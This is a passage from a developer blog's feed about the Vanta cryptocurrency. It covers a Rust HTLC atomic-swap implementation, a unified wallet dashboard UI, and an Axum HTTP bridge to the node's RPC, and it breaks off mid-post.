s.push(op::OP_DROP);
s.push(sender_pubkey.len() as u8);
s.extend_from_slice(sender_pubkey);
s.push(op::OP_CHECKSIG);

s.push(op::OP_ENDIF);
s
</code></pre>
<p>}</p>
<p>fn encode_script_number(n: i64) -&gt; Vec<u8> {
    if n == 0 { return vec![]; }
    let mut absn = n.unsigned_abs();
    let mut r = Vec::new();
    while absn &gt; 0 { r.push((absn &amp; 0xff) as u8); absn &gt;&gt;= 8; }
    if r.last().unwrap() &amp; 0x80 != 0 { r.push(0x00); }
    r
}</p>
<p>fn main() {
    let hash = [0xaa; 32];
    let recv = [0x02; 33];
    let send = [0x03; 33];
    let script = build_redeem(hash, &amp;recv, &amp;send, 144);
    println!(&quot;redeem script len = {} bytes&quot;, script.len());
    println!(&quot;first opcode = 0x{:02x} (OP_IF)&quot;, script[0]);
    println!(&quot;second opcode = 0x{:02x} (OP_SHA256)&quot;, script[1]);
    println!(&quot;last opcode = 0x{:02x} (OP_ENDIF)&quot;, script.last().unwrap());
}
`}
</RustPlayground></p>
<p>The output is a fixed-shape ~110-byte script depending on locktime encoding. The P2WSH wrapper is the <code>OP_0 &lt;32-byte sha256(redeem)&gt;</code> two-byte-then-pushdata encoding that makes the <em>witness program</em> — the thing the network sees — a 34-byte commitment to the script&#39;s hash.</p>
<p><code>p2wsh_script()</code> in <code>htlc.rs</code> does the wrap:</p>
<pre><code class="language-rust">pub fn p2wsh_script(&amp;self) -&gt; Vec&lt;u8&gt; {
    let redeem = self.redeem_script();
    let hash = sha256(&amp;redeem);
    let mut script = Vec::with_capacity(34);
    script.push(op::OP_0);
    script.push(0x20); // push 32 bytes
    script.extend_from_slice(&amp;hash);
    script
}
</code></pre>
<p>The <code>assert_eq!(p2wsh.len(), 34)</code> test in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/htlc.rs"><code>htlc.rs:198</code></a> is the safety net for that: anyone reading the test sees the constant the wire format depends on.</p>
<h2>Why P2WSH and not Taproot</h2>
<p>Worth a brief note. Taproot is the cool kid in 2026, and a Schnorr-key-aggregation atomic swap could in principle use a single-key-path-spend that looks indistinguishable from a normal transfer. But:</p>
<p>&lt;TradeoffTable
  caption=&quot;Why P2WSH legacy script for v1 of vanta-swap&quot;
  rows={[
    {
      option: &quot;P2WSH (current)&quot;,
      cost: &quot;~110 byte redeem script + 34 byte scriptPubKey&quot;,
      latency: &quot;Standard segwit verification path&quot;,
      blast_radius: &quot;Any segwit node, any wallet, BIP-199 standard&quot;,
      notes: &quot;Boring. Audited. Works on every Bitcoin Core fork.&quot;
    },
    {
      option: &quot;Taproot key-aggregation (MuSig2)&quot;,
      cost: &quot;Single 32-byte x-only key on-chain — privacy win&quot;,
      latency: &quot;Slightly cheaper to verify&quot;,
      blast_radius: &quot;Requires MuSig2 on both ends; smaller wallet surface in 2026&quot;,
      notes: &quot;On the roadmap for v2 once both ends ship Taproot wallets.&quot;
    },
    {
      option: &quot;Taproot script-path&quot;,
      cost: &quot;Two leaf scripts (claim + refund)&quot;,
      latency: &quot;Still BIP-65 path on refund&quot;,
      blast_radius: &quot;Slightly better privacy than P2WSH; not key-path so still distinguishable&quot;,
      notes: &quot;Not a meaningful upgrade over P2WSH for this use case.&quot;
    },
  ]}
/&gt;</p>
<p>The simplest thing that could work is P2WSH. v1 ships P2WSH. The Taproot-key-path version is the v2 conversation, which I expect to come up the same time the shielded-VANTA-leg work lands.</p>
<h2>The sighash dance</h2>
<p>This is the part of HTLC code that&#39;s easy to get wrong and impossible to debug when you do. The witness script is sighashed differently in segwit than in legacy, and the spending side has to compute the <em>exact</em> same sighash the verifier will check.</p>
<p>The relevant code is in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/swap.rs"><code>swap.rs:215</code></a>:</p>
<pre><code class="language-rust">// Sign: BIP143 sighash over the witness program (the redeem script)
let redeem_script = state.contract.redeem_script();
let witness_script = ScriptBuf::from_bytes(redeem_script.clone());
let privkey = PrivateKey::from_wif(privkey_wif).context(&quot;invalid WIF private key&quot;)?;
let secp = Secp256k1::new();

let mut sighash_cache = SighashCache::new(&amp;spending_tx);
let sighash = sighash_cache
    .p2wsh_signature_hash(0, &amp;witness_script, Amount::from_sat(htlc_value), EcdsaSighashType::All)
    .context(&quot;sighash computation failed&quot;)?;

let msg = secp256k1::Message::from_digest(sighash.to_byte_array());
let sig = secp.sign_ecdsa(&amp;msg, &amp;privkey.inner);

// DER-encode signature + sighash type byte
let mut sig_bytes = sig.serialize_der().to_vec();
sig_bytes.push(EcdsaSighashType::All as u8);
</code></pre>
<p>Three things to notice:</p>
<p><strong><code>p2wsh_signature_hash</code>, not <code>legacy_signature_hash</code>.</strong> This is BIP143 — the segwit sighash. It hashes the input value as part of the sighash so a signature that&#39;s valid for &quot;spend X satoshis&quot; can never be replayed for &quot;spend Y satoshis.&quot; A legacy sighash doesn&#39;t include the value, which is why pre-segwit malleable signatures were a thing.</p>
<p><strong><code>Amount::from_sat(htlc_value)</code>.</strong> The funding amount has to be exact. Off by one satoshi and the sighash mismatches, the signature is rejected, and the broadcast fails with a generic <code>mandatory-script-verify-flag-failed</code> from <code>bitcoind</code>. Welcome to the worst error message in cryptocurrency.</p>
<p><strong><code>EcdsaSighashType::All</code></strong> — the standard &quot;sign every input and every output.&quot; The only time you&#39;d want a different sighash type for an HTLC is if you wanted partial-input flexibility, which atomic swaps don&#39;t.</p>
<p>The Rust <a href="https://docs.rs/bitcoin/0.32"><code>bitcoin</code> crate</a> ships <code>SighashCache</code>, which precomputes the parts of the sighash that don&#39;t change per-input (the input/output digests) so you can sign multiple inputs without redoing the hash. We have one input, so the cache is trivial — but the API is the same and the per-input computation is correct.</p>
<h2>Witness layout: claim vs. refund</h2>
<p>The two witnesses look almost identical and they have to be carefully different. Both are stacks; the bottom of the stack is the redeem script, and what&#39;s above it controls which branch runs.</p>
<p>Claim witness, from <code>claim_witness</code> in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/htlc.rs"><code>htlc.rs:97</code></a>:</p>
<pre><code class="language-rust">pub fn claim_witness(&amp;self, signature: &amp;[u8], preimage: &amp;[u8; 32]) -&gt; Vec&lt;Vec&lt;u8&gt;&gt; {
    vec![
        signature.to_vec(),
        preimage.to_vec(),
        vec![0x01], // OP_TRUE — take the IF branch
        self.redeem_script(),
    ]
}
</code></pre>
<p>Four items. Bottom-to-top of stack: redeem script, OP_TRUE, preimage, signature. After the <code>OP_PUSHDATA</code> consumes the script reveal, execution begins at OP_IF. The next pop is <code>0x01</code> → truthy → take the IF branch. The IF branch consumes the preimage with OP_SHA256, compares against the embedded hash via OP_EQUALVERIFY, and then the receiver pubkey + CHECKSIG consumes the signature.</p>
<p>Refund witness, from <code>refund_witness</code> in <code>htlc.rs:107</code>:</p>
<pre><code class="language-rust">pub fn refund_witness(&amp;self, signature: &amp;[u8]) -&gt; Vec&lt;Vec&lt;u8&gt;&gt; {
    vec![
        signature.to_vec(),
        vec![], // empty — take the ELSE branch
        self.redeem_script(),
    ]
}
</code></pre>
<p>Three items: redeem script, <em>empty bytes</em> (which Bitcoin script interprets as OP_FALSE), signature. OP_IF pops the empty bytes → falsy → take ELSE. The ELSE branch checks <code>&lt;locktime&gt; OP_CHECKLOCKTIMEVERIFY</code> against the spending transaction&#39;s <code>nLockTime</code>, drops the locktime, then verifies the sender&#39;s signature.</p>
<p>Two failure modes are interesting:</p>
<p><strong>Claim with the wrong preimage.</strong> OP_SHA256 hashes whatever you push. OP_EQUALVERIFY fails. The script aborts with a verification error. The transaction is rejected. The HTLC is still spendable.</p>
<p><strong>Refund before locktime expires.</strong> OP_CHECKLOCKTIMEVERIFY pulls <code>nLockTime</code> from the spending transaction. If it&#39;s less than the embedded locktime, the script aborts. The Rust code in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/swap.rs"><code>swap.rs:266</code></a> preflights this check before broadcast:</p>
<pre><code class="language-rust">let current_height = rpc::get_block_height(&amp;client)?;
if current_height &lt; state.contract.locktime as u64 {
    anyhow::bail!(
        &quot;Locktime not reached: current height {} &lt; locktime {}. Wait {} more blocks.&quot;,
        current_height, state.contract.locktime,
        state.contract.locktime as u64 - current_height,
    );
}
</code></pre>
<p>You could just let the broadcast fail. Better UX is to refuse to construct the transaction in the first place.</p>
<h2>Why the preimage reveal is atomic</h2>
<p>Worth dwelling on this because it&#39;s the part of HTLC theory that students always blink at. If Alice claims Bob&#39;s HTLC by revealing <code>s</code>, why does that make Bob&#39;s claim of Alice&#39;s HTLC inevitable?</p>
<p>Because the preimage <code>s</code> is now on Chain B&#39;s mempool/blockchain in plaintext. Any node, any explorer, any indexer running on Chain B can extract <code>s</code> from the witness stack of Alice&#39;s claim transaction. Bob&#39;s wallet polls Chain B for the spending of his HTLC, finds <code>s</code>, and now has the secret needed to spend Alice&#39;s HTLC on Chain A.</p>
<p>The &quot;atomic&quot; property is that revealing <code>s</code> to Chain B is <em>necessarily</em> publishing it. There is no way to construct a P2WSH spend that hides the witness data — the witness stack is part of the transaction, the transaction is part of the block, the block is gossiped to the network. By the time Alice&#39;s claim is mined, Bob already knows.</p>
<p>If Alice never claims (refund path), <code>s</code> is never revealed. After $t_1$ blocks, Bob refunds his HTLC. After $t_2$ blocks, Alice refunds hers. Both got their original funds back. No third outcome.</p>
<p>The math: the only way the swap settles partially is if Alice claims chain B and then <em>somehow</em> prevents Bob from claiming chain A within the window $t_2 - t_1$. The 2x/1x ratio is what makes that window large enough that Bob&#39;s ordinary chain-watching software can detect, parse, and broadcast inside it.</p>
<h2>What the wallet doesn&#39;t do (yet)</h2>
<p>A fully shielded VANTA leg — where the HTLC&#39;s <em>amount</em> is hidden — is the missing piece. Today, the value of the P2WSH output on the VANTA chain is plaintext, exactly as it is on Bitcoin&#39;s. From <a href="/blog/vanta_private_atomic_swaps/">the price-discovery post</a>:</p>
<blockquote>
<p>the current swap implementation is fully transparent on both sides</p>
</blockquote>
<p>The plan, gestured at in <a href="https://github.com/Dax911/vanta/blob/main/planning/price-discovery-for-private-swaps.md"><code>planning/price-discovery-for-private-swaps.md</code></a>, is to replace the P2WSH output on the VANTA leg with a witness v2 commitment whose amount is hidden behind a Pedersen blinding. The HTLC pubkey path becomes a shielded-pool note; the claim/refund logic becomes a ZK proof of pubkey ownership + preimage knowledge, instead of a script-level CHECKSIG. Same atomic property; different cryptographic primitive.</p>
<p>That work is real, and it&#39;s not in the current <code>vanta-swap</code>. The <code>vanta-swap</code> we have today is the simplest thing that could possibly work, in 350 lines of Rust, with the same script semantics on both chains. The shielded version is a different post.</p>
<h2>What I changed my mind about</h2>
<p>The first version of <code>htlc.rs</code> used the <code>bitcoin::ScriptBuf::builder()</code> API — the abstraction-layer way of constructing a Bitcoin script. It was 30% shorter and 100% less debuggable. When the OP_CHECKLOCKTIMEVERIFY encoding was wrong (script-number encoding for negative numbers and 128 has a sign-bit edge case the builder API didn&#39;t trigger), I had to rewrite half of it as raw byte pushes anyway to instrument the failure.</p>
<p>The version that ships is the boring <code>Vec&lt;u8&gt;</code> with explicit opcode pushes. Every byte is visible. When something doesn&#39;t verify, I read the script in a hex dumper and spot the wrong byte. That&#39;s a lower abstraction level than I&#39;d ordinarily reach for, but BIP-199 <em>is</em> a wire format, and wire formats want to be visible.</p>
<p>The script-number encoding bug was specifically <code>encode_script_number(128)</code> returning <code>[0x80]</code> (which Bitcoin script interprets as <code>-0</code>) instead of <code>[0x80, 0x00]</code> (which encodes positive 128). The test in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/htlc.rs"><code>htlc.rs:236</code></a> is the regression catch:</p>
<pre><code class="language-rust">assert_eq!(encode_script_number(128), vec![0x80u8, 0x00]);
</code></pre>
<p>I&#39;d estimate I&#39;d have caught that bug six hours faster if I&#39;d been building the script as bytes from the start.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/htlc.rs"><code>vanta/vanta-swap/src/htlc.rs</code></a> — script construction + witness builder + tests</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/swap.rs"><code>vanta/vanta-swap/src/swap.rs</code></a> — initiate / participate / claim / refund state machine</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-swap/src/main.rs"><code>vanta/vanta-swap/src/main.rs</code></a> — CLI surface and the timelock-halving hint</li>
<li><a href="https://github.com/bitcoin/bips/blob/master/bip-0199.mediawiki">BIP-199</a> — the upstream HTLC pattern</li>
<li><a href="https://github.com/bitcoin/bips/blob/master/bip-0143.mediawiki">BIP-143</a> — segwit sighash, the BIP this signing path implements</li>
<li><a href="/blog/vanta_private_atomic_swaps/">Private atomic swaps and the price-discovery problem</a> — the policy framing the implementation rides on</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the chain doing the verification</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[The unified dashboard: collapsing private and transparent into one wallet view]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_unified_dashboard_wallet_ui/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_unified_dashboard_wallet_ui/"/>
  <published>2026-04-17T05:52:57.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="wallet-ui"/>
  <category term="react"/>
  <category term="design"/>
  <category term="ux"/>
  <category term="privacy"/>
  <summary type="html"><![CDATA[Two pages — one for private balance, one for transparent — taught users to think in two heads. The 2026-04-17 commit folded them. The wallet now shows one balance, one feed, with the privacy boundary inside the data, not the URL.]]></summary>
  <content type="html"><![CDATA[<p>The 2026-04-17 commit message — <code>wallet-ui: merge privacy view into unified dashboard + rescan endpoint</code> — is one of the smallest functional commits in the Vanta repo and one of the most consequential UX decisions. Up to that point the wallet had a <code>/dashboard</code> page (transparent UTXOs) and a separate <code>/privacy</code> page (shielded notes). Two pages. Two balance numbers. Two transaction feeds. Users — including, embarrassingly, me — would forget which page they were on and wonder why a transaction &quot;didn&#39;t arrive&quot; when it had simply landed on the other page.</p>
<p>The fix was to collapse them. This post is about why that decision matters more than it looks, what the new layout does, and the discipline a privacy chain needs to keep when it ships a wallet.</p>
<h2>Why two pages was wrong</h2>
<p>The original split came from a literal reading of the architecture. The chain has a transparent layer (the L1 UTXO set) and a privacy layer (the L2 SMT of commitments). The wallet had two stores backing two pages. Easy mental model for a developer.</p>
<p>For a user, this is the wrong frame. A user has <em>money</em>, and the money is <em>in different states</em>. Transparent and shielded are states the money happens to be in, like &quot;in checking&quot; vs &quot;in savings.&quot; A bank doesn&#39;t make you flip between two browser tabs for those. The user thinks &quot;what&#39;s my balance&quot; and &quot;what came in lately&quot; — not &quot;let me check my transparent feed <em>and</em> my shielded feed.&quot;</p>
<p>Worse, two pages teaches people that the privacy/transparent boundary is something they have to think about. It is — sometimes. But mostly the wallet should <em>handle the boundary</em> and present <em>the actual account</em>. The boundary should be visible <em>inside the data</em> (each note or UTXO has a privacy badge), not in the URL.</p>
<h2>What the unified dashboard does</h2>
<p>The new <a href="https://github.com/Dax911/vanta/blob/main/wallet-ui/src/pages/dashboard.tsx"><code>wallet-ui/src/pages/dashboard.tsx</code></a> is the page. The structure is roughly:</p>
<ol>
<li><strong>One balance</strong>, prominently — labelled &quot;Private Balance&quot; because that&#39;s what 99% of the value should be once the chain is mature, with the small print being &quot;X VANTA transparent&quot; if the user has any.</li>
<li><strong>L2 status card</strong> — SMT root, commitment count, nullifier count, last block height. Auto-refreshing every 5 seconds. This is the chain&#39;s privacy view, surfaced <em>as a number on the dashboard</em>, not hidden in a settings page.</li>
<li><strong>Quick actions</strong> — send, receive, sync.</li>
<li><strong>One activity feed</strong> — interleaving transparent transactions and shielded notes by timestamp. Each row has a privacy badge (<code>ShieldCheck</code> icon for shielded, <code>EyeOff</code> for transparent) and the badge is <em>the</em> indicator of which state the value is in.</li>
</ol>
<p>The L2 status card auto-fetches on a <code>setInterval</code>:</p>
<pre><code class="language-tsx">useEffect(() =&gt; {
  fetchL2Status()
  const id = setInterval(fetchL2Status, 5000)
  return () =&gt; clearInterval(id)
}, [])
</code></pre>
<p>5 seconds is a deliberate cadence. The chain produces blocks every 60 seconds. SMT root updates land at most once per block, on average. 5 seconds gives the user a perception of &quot;this is live&quot; without hammering the L2 sidecar&#39;s REST endpoint.</p>
<h2>The rescan endpoint</h2>
<p>The other piece of the commit is a <code>/api/sync</code> endpoint (and the matching <code>sync()</code> action in the Zustand store) that triggers a re-scan of L1 + L2 against the wallet&#39;s keys. The rescan reads:</p>
<ul>
<li>the L1 transparent UTXOs the wallet&#39;s addresses control</li>
<li>the L2 encrypted-note inbox, trial-decrypting against the wallet&#39;s secret to find shielded notes addressed to it</li>
</ul>
<p>Before this endpoint, &quot;my balance is wrong&quot; was an unrecoverable error state — the user would have to restart the wallet. With the rescan endpoint, &quot;my balance is wrong&quot; is a button click. The button reports <code>{ newNotes, scannedToIndex, balance, unspentCount }</code> so the user sees something concrete: <em>&quot;found 2 new notes.&quot;</em></p>
<p>This is the kind of feature that&#39;s invisible until you don&#39;t have it, at which point support tickets stack up. Shipping it alongside the unified dashboard was the right pairing — the dashboard makes the user expect their balance to be live; the rescan endpoint backstops them when it isn&#39;t.</p>
<h2>The badge discipline</h2>
<p>The activity feed shows transparent and shielded events together. Each row gets a privacy badge:</p>
<ul>
<li><code>ShieldCheck</code> (purple) — shielded transaction</li>
<li><code>EyeOff</code> (purple) — incoming shielded note</li>
<li><code>Hash</code> — transparent transaction</li>
<li><code>Layers</code> — L2-only event (commitment landed but not yet associated with a wallet note)</li>
</ul>
<p>The colour discipline is consistent across the wallet: purple is the privacy-feature colour, used for L2 elements and shielded states. Transparent elements use the default text colour. The viewer doesn&#39;t have to read a label to know which is which.</p>
<p>This is small. It also took longer than I expected to settle on. Earlier drafts had transparent transactions in green and shielded in purple, on the theory that &quot;green = good, purple = brand colour.&quot; That backfired immediately — green coded as &quot;fine, no need to look closer&quot; and purple as &quot;interesting, look closer,&quot; when on Vanta the desired hierarchy is the opposite (privacy is the default, transparent is the exception).</p>
<p>The current discipline: <strong>shielded is the unmarked default; transparent is <em>marked</em> by being non-shielded.</strong> A row without a special badge isn&#39;t transparent; it&#39;s shielded. A row with a transparent badge is the exception. Visual weight matches the expected long-run distribution.</p>
<h2>Why this is hard</h2>
<p>Privacy-coin wallets have shipped with two-pane &quot;shielded vs transparent&quot; UX for years, and it&#39;s mostly <em>not</em> their fault. The frame leaks from the chain when the chain treats shielded as a separate pool. On Zcash, you literally have shielded addresses (<code>zs1...</code>) and transparent addresses (<code>t1...</code>) — two different address families — and a wallet has to render that.</p>
<p>Vanta dodges that frame because the chain treats commitments and UTXOs as two states of the same value, with a single address family (<code>vnt1...</code>) on top. That gives the wallet <em>room</em> to present a unified view. The wallet has to <em>take</em> the room, which is the part the dashboard collapse is doing.</p>
<p>The principle: <strong>the wallet&#39;s frame should match the chain&#39;s frame, not the wallet&#39;s data model.</strong> The data model has commitments and UTXOs and an L2 sidecar and an L1 RPC. The frame the user sees should be &quot;money in, money out, what&#39;s it doing.&quot; The data model is the wallet&#39;s problem.</p>
<h2>What I&#39;d ship next</h2>
<p>Three things on the list, in priority order.</p>
<ol>
<li><strong>Per-note privacy decay indicator.</strong> Coinbase rewards land transparent for one confirmation before they private-decay (the &quot;fast privacy decay&quot; pattern in <a href="https://github.com/Dax911/vanta/blob/main/papers/01-executive-summary.md"><code>papers/01-executive-summary.md</code></a>). The wallet should show, on each row, <em>whether</em> a note is in its decay window. If it is, the user gets a &quot;wait one block before spending&quot; hint. Today the wallet doesn&#39;t surface this — a power-user can read it from the L2 status, but no normal user will.</li>
<li><strong>&quot;Send&quot; with no privacy choice.</strong> The send flow today asks &quot;transparent or private?&quot; — even though the answer is <em>almost always</em> private. Make private the default; offer a &quot;transparent send&quot; advanced option behind a disclosure. Most users will never need to know transparent sends exist.</li>
<li><strong>Address book scoped to the wallet.</strong> Privacy-respecting wallets often skip address books because of the linkability concern. Vanta can do this <em>in the wallet</em>, since the wallet is the only thing that knows which addresses the user has interacted with. Address book entries don&#39;t leak to the chain. This was the user-facing thing missing the longest.</li>
</ol>
<p>The dashboard collapse is the foundation; these are the next-step UX wins it enables.</p>
<h2>The architectural lesson</h2>
<p>The dashboard refactor is small but it&#39;s an example of the larger principle that runs through the whole wallet: <strong>the privacy boundary is in the data, not the URL.</strong> Two URLs implies two domains of knowledge a user has to manage. One URL, with private/transparent as a property of each row, implies <em>the wallet manages this and presents one cohesive thing.</em></p>
<p>I want this principle to extend. The settings page shouldn&#39;t have a &quot;privacy&quot; tab. The send flow shouldn&#39;t have a &quot;privacy&quot; toggle as a primary control. The receive page shouldn&#39;t ask the user to choose between a shielded and a transparent address. Privacy is the default; transparent is the exception; everything else is the wallet&#39;s job to handle.</p>
<p>Some of those changes are shipped. Some are on the list. The dashboard collapse was the one that mattered most because it landed first and it set the discipline for everything else.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/wallet-ui/src/pages/dashboard.tsx"><code>wallet-ui/src/pages/dashboard.tsx</code></a> — the unified dashboard</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/wallet-ui/src/pages/privacy.tsx"><code>wallet-ui/src/pages/privacy.tsx</code></a> — the old privacy view (kept for a while as a deep-dive page)</li>
<li><a href="https://github.com/Dax911/vanta/tree/main/wallet-ui/src/stores"><code>wallet-ui/src/stores/privacy-store.ts</code></a> — the Zustand store the dashboard pulls from</li>
<li><a href="/blog/vanta_wallet_axum_api/">The vanta wallet HTTP API</a> — the L1 service the dashboard calls</li>
<li><a href="/blog/vanta_sidecar_architecture/">The vanta sidecar architecture</a> — the L2 service the dashboard calls</li>
<li><a href="/blog/vanta_desktop_tauri_wallet/">Vanta Desktop: a Tauri wallet that ships its own full node</a> — where this dashboard ends up living for end users</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[The vanta wallet HTTP API: an Axum bridge to vantad RPC]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_wallet_axum_api/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_wallet_axum_api/"/>
  <published>2026-04-13T18:46:45.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="rust"/>
  <category term="axum"/>
  <category term="wallet"/>
  <category term="api"/>
  <category term="rpc"/>
  <summary type="html"><![CDATA[Before the Tauri desktop wallet there was an Axum web wallet. It is a five-route Rust service that wraps vantad's JSON-RPC and serves a single static page. Boring on purpose — and the boring is the point.]]></summary>
  <content type="html"><![CDATA[<p>The first wallet I shipped for Vanta wasn&#39;t a desktop app. It was a <a href="https://github.com/Dax911/vanta/tree/main/wallet">Rust/Axum HTTP service</a> that wraps <code>vantad</code>&#39;s JSON-RPC behind a small REST API and serves a single static HTML page. Five routes, one <code>Cargo.toml</code>, one <code>main.rs</code>, ~250 lines of Rust. Boring on purpose. The boring is the point — when you&#39;re bringing up an L1, the wallet has to be a tool you can debug inside of, not a black box.</p>
<p>This post is a read-along of <a href="https://github.com/Dax911/vanta/blob/main/wallet/src/main.rs"><code>wallet/src/main.rs</code></a>, what the route surface buys you, what&#39;s coming next as the desktop app picks up the unified-dashboard work, and what the Axum service is <em>not</em> (it&#39;s not a key holder; it&#39;s a thin bridge).</p>
<h2>The dependency tree</h2>
<p>The whole <a href="https://github.com/Dax911/vanta/blob/main/wallet/Cargo.toml"><code>Cargo.toml</code></a> fits in a screenshot:</p>
<pre><code class="language-toml">[dependencies]
bitcoin = { version = &quot;0.32&quot;, features = [&quot;serde&quot;, &quot;rand-std&quot;] }
bitcoincore-rpc = &quot;0.19&quot;
axum = { version = &quot;0.7&quot;, features = [&quot;macros&quot;] }
tokio = { version = &quot;1&quot;, features = [&quot;full&quot;] }
tower-http = { version = &quot;0.6&quot;, features = [&quot;cors&quot;, &quot;fs&quot;] }
serde = { version = &quot;1&quot;, features = [&quot;derive&quot;] }
serde_json = &quot;1&quot;
anyhow = &quot;1&quot;
</code></pre>
<p>That&#39;s it. Axum for routing, <code>bitcoincore-rpc</code> for the typed RPC client (which works against <code>vantad</code> because the RPC contract is unchanged from Bitcoin Core v27.0), <code>bitcoin</code> for address parsing, <code>tower-http</code> for CORS and static-file serving. No database, no auth middleware, no template engine, no ORM. The wallet is a pass-through — the only real state is <em>whatever</em> <code>vantad</code> says.</p>
<p>This is the choice I want to be loudest about. The temptation when you&#39;re forking Bitcoin is to ship a wallet that re-implements everything <code>vantad</code> already does. Don&#39;t. The wallet&#39;s job is <em>to make <code>vantad</code> legible from a browser.</em></p>
<h2>The route surface</h2>
<p>Five HTTP endpoints, registered in <code>main()</code> with the canonical Axum router:</p>
<pre><code class="language-rust">let app = Router::new()
    .route(&quot;/&quot;, get(index))
    .route(&quot;/api/info&quot;, get(get_info))
    .route(&quot;/api/transactions&quot;, get(get_transactions))
    .route(&quot;/api/blocks&quot;, get(get_recent_blocks))
    .route(&quot;/api/send&quot;, post(send_zer))
    .route(&quot;/api/address/new&quot;, post(new_address))
    .layer(CorsLayer::permissive())
    .with_state(state);
</code></pre>
<p>Each route maps to one or two RPCs. Walking through them:</p>
<p><strong><code>GET /</code> — the index.</strong> This serves the static HTML+JS page bundled into the binary at compile time via <code>include_str!(&quot;../static/index.html&quot;)</code>. The page calls the four JSON endpoints below. Compile-time bundling is a one-binary deploy story: copy <code>vanta-wallet</code>, run it, the UI is <em>there</em>.</p>
<p><strong><code>GET /api/info</code> — wallet + network status.</strong> Five RPCs in one handler:</p>
<pre><code class="language-rust">let balance = rpc.get_balance(None, None).unwrap_or_default();
let unconfirmed = rpc.get_balances().map(|b| b.mine.untrusted_pending).unwrap_or_default();
let block_count = rpc.get_block_count().unwrap_or(0);
let info = rpc.get_network_info().ok();
let mining = rpc.get_mining_info().ok();
</code></pre>
<p>Returns <code>WalletInfo { balance, unconfirmed_balance, block_count, connections, mining_address, difficulty }</code>. This is the polled-every-5-seconds heartbeat the index page uses.</p>
<p><strong><code>GET /api/transactions</code> — last 50.</strong> A direct passthrough to <code>listtransactions</code>, with a small Rust struct mapping over the result so the JSON the browser sees is stable across <code>bitcoincore-rpc</code> upgrades.</p>
<p><strong><code>GET /api/blocks</code> — recent 10 blocks.</strong> Walks <code>(height-10..=height)</code>, calls <code>getblockhash</code> and <code>getblockinfo</code> for each, returns a <code>Vec&lt;BlockInfo&gt;</code>. The single-RPC-per-block makes this O(n) but n is 10, so it&#39;s fine.</p>
<p><strong><code>POST /api/send</code> — send VANTA.</strong> Takes <code>{ address, amount }</code>, parses the address against the network (so <code>Z</code>-legacy and <code>vnt1</code>-bech32 both work), constructs an <code>Amount</code> from the float, and calls <code>send_to_address</code>. Errors are wrapped with <code>BAD_REQUEST</code> for parse failures and <code>INTERNAL_SERVER_ERROR</code> for RPC failures.</p>
<p><strong><code>POST /api/address/new</code> — fresh receiving address.</strong> Calls <code>getnewaddress</code> with an optional label.</p>
<p>That&#39;s the entire surface. There is intentionally no <code>wallet/create</code>, no key-import, no PSBT signing. Those operations go through <code>vanta-cli</code> directly — the wallet user is implicitly a <code>vantad</code> user. This is fine for the testnet phase. It is <em>not</em> fine for shipping to the public, which is why the desktop app exists.</p>
<h2>The settxfee dance</h2>
<p>One detail in the <code>main()</code> startup that took me longer than it should have:</p>
<pre><code class="language-rust">let _ = rpc.call::&lt;serde_json::Value&gt;(&quot;settxfee&quot;, &amp;[serde_json::json!(0.0001)]);
</code></pre>
<p>Bitcoin Core&#39;s fee estimator uses historical mempool data to predict the fee per byte. On a fresh chain with low traffic, it has no data. The default behaviour when the estimator can&#39;t decide is to error on <code>sendrawtransaction</code> — <em>not</em> to fall back to a default. You discover this the first time you try to send a tx on a fresh chain and get back &quot;fee estimation failed.&quot;</p>
<p>The fix is <code>settxfee</code> at startup with a sane fallback. <code>0.0001 VANTA/kB</code> is roughly nothing in real terms (one ten-thousandth of a unit, when each block pays out 100,000 units), but it&#39;s enough to satisfy the estimator&#39;s &quot;have a fee&quot; check. Same trick is in <code>txbot/src/main.rs</code> for the same reason.</p>
<p>The Bitcoin Core devs are aware of this footgun and there&#39;s been talk of a <code>fallbackfee</code> config that fires automatically. For now, a one-line workaround at every RPC client&#39;s startup.</p>
<h2>Auth, or the lack thereof</h2>
<p>The Axum wallet binds to <code>0.0.0.0:8085</code> and runs <code>CorsLayer::permissive()</code>. Translation: anyone on the network can hit it. There&#39;s no token, no password, no rate limit.</p>
<p>This is fine <strong>for what it is</strong> — a single-operator tool you run on a host you control, with the assumption that the only consumer is the static page bundled into the same binary. It is not fine for a multi-tenant deployment. The host firewall is the auth boundary. If you put this on the open internet you&#39;ve made a mistake.</p>
<p>The desktop app fixes this by running the equivalent logic in-process via Tauri IPC — there is <em>no</em> HTTP listener, so there&#39;s nothing for a browser tab on a malicious site to talk to. Read <a href="/blog/vanta_sidecar_architecture/">The vanta sidecar architecture</a> and <a href="/blog/vanta_desktop_tauri_wallet/">Vanta Desktop</a> for the longer story on that boundary.</p>
<h2>What the API doesn&#39;t have, and where it goes</h2>
<p>The Axum wallet was written <em>before</em> the privacy layer was wired in. So it shows transparent UTXOs only. That&#39;s why the wallet-ui split exists: there&#39;s a <a href="https://github.com/Dax911/vanta/tree/main/wallet-ui"><code>wallet-ui/</code></a> React app that calls <em>both</em> the Axum service and <code>vanta-node</code>&#39;s REST API, and renders a unified view that interleaves transparent transactions with shielded notes.</p>
<p>The 2026-04-17 commit message that motivated this whole post —</p>
<blockquote>
